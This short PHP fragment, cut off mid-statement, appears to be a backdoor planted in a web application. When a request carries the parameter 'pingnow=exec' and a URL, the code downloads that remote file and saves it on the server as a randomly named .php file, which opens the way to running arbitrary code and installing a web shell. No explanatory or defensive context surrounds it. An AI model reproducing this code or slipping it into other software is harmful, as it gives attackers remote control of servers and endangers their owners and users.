if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).'.php';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch)...